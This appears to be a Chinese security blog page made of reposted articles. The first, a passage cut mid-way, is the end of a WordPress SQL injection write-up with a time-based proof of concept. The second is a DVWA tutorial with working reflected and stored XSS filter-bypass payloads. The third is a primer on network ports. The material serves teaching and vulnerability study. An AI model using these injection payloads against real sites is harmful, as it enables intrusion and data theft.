is_protected_meta函数只检查了$meta_key的第一个字符是否以_开头。我们有了2.1的MySQL trick,想要绕过meta_key的检查就显得容易多了。

2.3 POC

  1. 添加自定义字段,meta_key为’_thumbnail_id’的meta_value为’55 %1$%s or sleep(10)#’
  2. 在添加自定义栏目/字段时抓包,将_thumbnail_id替换为%00_thumbnail_id
  3. 访问/wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#,触发SQL注入漏洞

参考

 

from:http://www.freebuf.com/vuls/153959.html

DVWA教程-XSS

admin阅读(140)评论(0)

XSS

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

(注:下面的实验都是在Firefox浏览器下进行的,感谢火狐没做XSS filter)

反射型XSS

下面对四种级别的代码进行分析。

Low

服务器端核心代码

<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {     // Feedback for end user     echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>

可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

漏洞利用

输入<script>alert(/xss/)</script>,成功弹框:

1.png

 

Medium

服务器端核心代码

<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input     $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 
    // Feedback for end user     echo "<pre>Hello ${name}</pre>"; 
} 
?>

可以看到,这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>删除,这种防护机制是可以被轻松绕过的。

漏洞利用

1.双写绕过

输入<sc<script>ript>alert(/xss/)</script>,成功弹框:

1.png

 

2.大小写混淆绕过

输入<ScRipt>alert(/xss/)</script>,成功弹框:

1.png

 

High

服务器端核心代码

<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input     $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 
    // Feedback for end user     echo "<pre>Hello ${name}</pre>"; 
} 
?>

可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

漏洞利用

虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

输入<img src=1 on\=alert(/xss/)>,成功弹框:

1.png

 

Impossible

服务器端核心代码

<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Check Anti-CSRF token     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Get input     $name = htmlspecialchars( $_GET[ 'name' ] ); 
    // Feedback for end user     echo "<pre>Hello ${name}</pre>"; 
} 
// Generate Anti-CSRF token generateSessionToken(); 
?>

可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、        ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。

存储型XSS

下面对四种级别的代码进行分析。

Low

服务器端核心代码

<?php if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input     $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input     $message = stripslashes( $message ); 
    $message = mysql_real_escape_string( $message ); 
    // Sanitize name input     $name = mysql_real_escape_string( $name ); 
    // Update database     $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    //mysql_close(); } 
?>

相关函数介绍

trim(string,charlist)

函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。

mysql_real_escape_string(string,connection)

函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

stripslashes(string)

函数删除字符串中的反斜杠。

可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞

漏洞利用

message一栏输入<script>alert(/xss/)</script>,成功弹框:

1.png

name一栏前端有字数限制,抓包改为<script>alert(/name/)</script>:

1.png

成功弹框:

1.png

Medium

服务器端核心代码

<?php if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input     $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input     $message = strip_tags( addslashes( $message ) ); 
    $message = mysql_real_escape_string( $message ); 
    $message = htmlspecialchars( $message ); 
    // Sanitize name input     $name = str_replace( '<script>', '', $name ); 
    $name = mysql_real_escape_string( $name ); 
    // Update database     $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    //mysql_close(); } 
?>

相关函数说明

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>标签。

addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。

漏洞利用

1.双写绕过

抓包改name参数为<sc<script>ript>alert(/xss/)</script>:

1.png

成功弹框:

1.png

2.大小写混淆绕过

抓包改name参数为<Script>alert(/xss/)</script>:

1.png

成功弹框:

1.png

High

服务器端核心代码

<?php if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input     $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input     $message = strip_tags( addslashes( $message ) ); 
    $message = mysql_real_escape_string( $message ); 
    $message = htmlspecialchars( $message ); 
    // Sanitize name input     $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); 
    $name = mysql_real_escape_string( $name ); 
    // Update database     $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    //mysql_close(); } 
?>

可以看到,这里使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。

High

抓包改name参数为<img src=1 on\=alert(1)>:

1.png

成功弹框:

1.png

Impossible

服务器端核心代码

<?php if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Check Anti-CSRF token     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Get input     $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input     $message = stripslashes( $message ); 
    $message = mysql_real_escape_string( $message ); 
    $message = htmlspecialchars( $message ); 
    // Sanitize name input     $name = stripslashes( $name ); 
    $name = mysql_real_escape_string( $name ); 
    $name = htmlspecialchars( $name ); 
    // Update database     $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); 
    $data->bindParam( ':message', $message, PDO::PARAM_STR ); 
    $data->bindParam( ':name', $name, PDO::PARAM_STR ); 
    $data->execute(); 
} 
// Generate Anti-CSRF token generateSessionToken(); 
?>

可以看到,通过使用htmlspecialchars函数,解决了XSS,但是要注意的是,如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS。

from:http://www.moonsos.com/post/29.html

网络基础-端口

admin阅读(80)评论(0)

3d000297ba,9a574956.gif

0x01 端口简介

随着网络的快速发展,原来计算机的物理端口已经不能满足网络通信的要求了。为了解决这一难题,在操作系统中引入了TCP/IP协议作为网络通信标准。当TCP/IP协议集成到操作系统内核中时,就出现了端口这种新的接口技术。在TCP/IP协议中有一种叫做“Socket(套接字)”应用程序接口。可以通过软件的方式与这台具有Socket接口的计算机通信。

服务器端口数最多理论上为65535(2^16)

0x02 端口的分类

从性质上分,分为以下三类

公认端口(Well Known Ports)
即一般意义上的常用端口。从0到1024;这些端口通常紧密地绑定在一些特定的系统服务中。

注册端口(Registered Ports)
指的是从1025到49151的端口。松散着绑定一些服务。这些端口大部分没有明确定义服务对象,而且程序可以通过自己的需要定义使用哪些端口,很多远程控制软件和木马程序都会使用它们。

动态或私有端口( Dynamic or Private Ports)
49152到65535。正常情况下服务不会被分配到这些端口上,但很多木马喜欢。

以通信协议分,可分为tcp、udp端口

TCP
面向连接的方式,首先建立连接,才能传输数据,最后释放连接。三次握手协议

UDP
不直接与接收方建立连接,只是把数据信息发送出去,而不管是否到达接收方,即所谓的“无连接方式”

0x03 端口的安全隐患

很多黑客程序也会利用端口进行入侵活动;常见的有以下两种:

端口侦听
处于被动状态,等待连接后才能通过对方的连接侦听到对方所需要的信息。侦听程序通常安装在目标计算机中。

端口扫描
属于一种主动地状态,即主动对目标计算机的端口进行扫描,实时的发现所扫描端口的所有活动。这些扫描程序一般安装在客户端,与目标计算机的连接主要是通过无连接的UDP协议来进行的。

 

 

附上常见端口:

21 FTP
22 SSH
23 Telnet
25 SMTP(发送邮件;入侵者寻找SMTP服务是为了传递他们的SPAM(未经收件人同意而大量寄发的电子邮件))
53 Domain Name Server(DNS)
67 BootstrapProtocol Server(通过DSL和Cable MODEL的防火墙常会见到大量发送到广播地址255.255.255.255的数据)
79 Finger Server(入侵者用于获得用户信息,查询操作系统,探测已知的缓冲区溢出错误,回应从本地计算机到其他计算机Finger扫描)
80 HTTP(网页浏览和木马Executor开放此端口)
109 POST Office Protocol -Version3(POP3)
110 SUN公司的RPC服务所有端口(常见的RPC服务有:rpc.mounted、NFS、RPC、statd、rpc.csmd、rpc.ttyb、AMD等)
113 AutnenticationServer(用于鉴别TCP连接的用户)
119 Network News Transfer Protocol(NEWS新闻组传输协议)
135 LocationServer(Microsoft在这个端口运行的DCE RPC end-point mapper为它的DCOM服务)
137/138/139 NETBIOS Name Service(137/138是UDP端口,通过网上邻居传输文件时用这个端口。139端口,可以进入连接获取NetBIOS/SMB服务。这个协议被用于Windows文件和打印机共享和SAMBA。还有WINS Registation也用它)
161 SNMP(允许远程管理设备。信息存于数据库中。默认密码为public、private)
443 HTTPS
1024 Reserved(动态端口的开始。第一个向系统发出的请求会被分哦诶到1024端口)
1433 Microsoft SQL
4000 QQ客户端
6970 RealAudio
7323 NULL(Sygate服务器开放的端口)
8000 QICQ(QQ服务器开放的端口)
8010 Wingate代理开放端口
8080 WWW代理开放端口

 

from:https://www.ohlinge.cn/base/Cyber_port.html